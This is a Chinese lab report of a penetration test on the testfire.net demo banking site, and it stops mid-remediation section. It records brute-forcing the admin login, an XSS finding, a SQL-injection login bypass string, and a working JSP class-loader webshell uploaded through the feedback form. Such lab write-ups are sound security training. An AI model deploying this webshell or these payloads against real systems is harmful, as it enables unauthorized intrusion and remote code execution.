一、实验目的
(1)熟悉渗透测试的执行标准;
(2)掌握渗透测试的常用方法与技巧;
(3)掌握渗透测试报告的撰写步骤及关键要点。
二、实验任务
(1)对公开安全网站实施针对性的渗透测试,挖掘漏洞并获取信息;
(2)撰写渗透测试报告。
三、实验环境
1、靶机地址:www.testfire.net
2、攻击机地址:192.168.195.130
四、实验过程和实验结果
1.概述
1.1.测试目的
通过实施针对性的渗透测试,发现www.testfire.net网站的安全漏洞,保障系统WEB业务的安全运行。
1.2.测试范围
本次测试的范围详细如下:
测试域名 www.testfire.net/65.61.137.117
测试时间 2024年06月30日-2024年07月02日
说 明 本次渗透测试过程中使用的IP为:192.168.195.130
1.3.数据来源
通过漏洞扫描和手动分析获取相关数据。
第2章 详细测试结果
2.1.测试工具
根据测试的范围,本次渗透测试可能用到的相关工具列表如下:
检测工具 用途和说明
OWASP ZAP 全称:OWASP Zed Attack Proxy攻击代理服务器是世界上最受欢迎的免费安全工具之一。ZAP可以帮助我们在开发和测试应用程序过程中,自动发现 Web应用程序中的安全漏洞。另外,它也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。
Nmap Linux、FreeBSD、UNIX、Windows下的网络扫描和嗅探工具包。
Nessus 系统漏洞扫描与分析软件。
Burpsuite 网络抓包工具,对网络的数据包传输进行抓取。
AntSword 开源的跨平台网站管理工具
浏览器插件 对工具扫描结果进行人工检测,来判定问题是否真实存在,具体方法依据实际情况而定。
其他 系统本身具备的相关命令,或者根据实际情况采用的其他工具。
2.2.测试步骤
2.2.1.预扫描
使用nmap扫描目标网站,发现端口80,443,8080开启
nmap与zap扫描结果风险分析:
1.HTTP 和 HTTPS 服务暴露:
80/tcp 和 443/tcp 端口分别运行着 HTTP 和 HTTPS 服务,使用的是 Apache Tomcat/Coyote JSP 引擎 1.1。这意味着该系统向公众暴露了一个基于 Tomcat 的 Web 应用程序。由于 Tomcat 通常用于运行 Java Web 应用程序,这可能意味着目标系统上运行着一个或多个 Java Web 应用,这些应用可能包含已知的安全漏洞。
2.HTTP 标题和服务器信息泄露:
扫描结果中的 _http-server-header 字段显示服务器使用的是 Apache-Coyote/1.1,这可能会给攻击者提供有关目标系统使用的软件版本的信息,这些信息可能被用于寻找并利用特定的安全漏洞。标题显示 "Altoro Mutual",这很可能是一个用于教学或演示目的的银行应用程序,可能存在已知的安全问题。
3.SSL 证书信息泄露:
扫描结果显示了 SSL 证书的信息,包括有效期、主体名称(demo.testfire.net)和备用名称(altoromutual.com)。虽然这些信息本身不一定是安全风险,但它们可能被用于进一步的信息收集或社会工程学攻击。
4.额外的 HTTP 端口:
除了标准的 80 和 443 端口外,目标系统还在 8080 端口上运行了一个 HTTP 服务。这可能是一个额外的 Web 应用程序或服务,同样可能包含安全漏洞。
5.HTTPS 备用端口未开放:
8443/tcp 端口是 HTTPS 的备用端口,但在这个扫描中显示为 "closed",这本身可能不是一个安全风险,但如果该端口本应该开放并运行 HTTPS 服务,那么这可能是一个配置问题或潜在的安全隐患。
6.时间偏移:
_clock-skew 结果显示服务器时间与扫描器时间相差 -1 秒,这通常不是问题,但持续的时间偏移可能会给依赖于时间戳的安全机制带来风险。
2.2.2网页信息爬取
使用dirb爬取目标网站目录
风险分析:发现/admin目录,猜测涉及管理员权限
输入www.testfire.net/admin,发现进入登录页面,猜测是管理员登录
2.2.3爆破登录
输入cewl http://www.testfire.net/login.jsp -w dict.txt,收集目标系统信息,存储至dict.txt作为爆破字典
打开Windows的cmd,输入java -jar C:/burpsuite_pro.jar,启动安装在Windows的爆破工具burpsuite
在目标界面启动插件foxyproxy,再设置Intercrept is on 启动拦截,在登录界面输入U:hhh P:123
输入登录后抓包成功
选取账号和密码作为爆破范围,第一次爆破未能成功
思考认为/admin与/login.jsp有强关联,认为账号可能是admin,再次输入U:admin,P:随意
抓包后对密码爆破,爆破成功,账号密码都为:admin
登陆成功
风险分析:账号密码太弱
2.2.4对搜索目录进行爆破
爆破发现XSS可能
输入发现存在XSS漏洞
2.2.5翻阅HTML代码
发现登录界面似乎没有数据过滤与限制,尝试SQL注入
输入a ‘OR 1=1--+’,密码随意,登陆成功,发现有SQL漏洞
2.2.6排查文件上传
发现有意见反馈功能,随意输入上传,抓包
抓包发现数据直接存储在comment.txt中,没有过滤与审计,可以尝试上传恶意代码
在意见输入:<%
String cls = request.getParameter("passwd");
if (cls != null) {
new
U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>
尝试上传恶意代码,上传成功
尝试访问comment.txt启动恶意代码,发现失败,猜测是网站功能未完善
2.3整改建议:
通过本次渗透测试发现该成绩管理系统网站存在的薄弱环节较多,修复建议如下:
防范XSS攻击:
输入验证和过滤:对用户输入进行严格的验证和过滤,确保只允许特定的字符和格式。
输出编码:在将用户输入显示为网页内容之前,对特殊字符进行适当的编码,以避免它们在浏览器中解释为代码。
使用HTTPOnly属性的Cookie:这可以防止通过JavaScript访问这些Cookie,从而减少攻击者窃取用户凭据的机会。
跨站请求伪造(CSRF)防护:检查所有来自用户的表单数据、Cookie或会话数据,以防止CSRF攻击和XSS攻击。
定期更新和打补丁:保持网站和应用程序的最新版本,并修复所有已知的安全漏洞。
端口与系统改进建议:
升级 Tomcat 到最新版本,以修复已知的安全漏洞。
禁用不必要的服务和端口,特别是那些暴露在公网上的服务和端口。
配置 SSL/TLS 以使用强加密算法和最新的安全协议。
实施 Web 应用程序防火墙(WAF)或类似的安全机制,以减轻对 Web 应用程序的攻击。
定期审查和更新所有运行在系统上的软件和服务,以修复新发现的安全漏洞。
使用安全扫描工具定期扫描系统,以发现新的安全漏洞。
限制对敏感信息的访问,并考虑实施访问控制和身份验证机制
WEB 应用防护:
应用系统在开发过程中,应考虑网站应具备的安全功能需求,如:登录框的验证码机制、上传功能安全机制、文本输入框关键字过滤机制等方面,所以建议重新部署WAF的检测机制。
口令存取机制:
管理员密码建议设置强口令, 不要使用QQ 、生日和邮箱的信息作为服务器密码,不要使用通用密码,应考虑口令的加密传输和数据库加密存储。
文件上传过滤: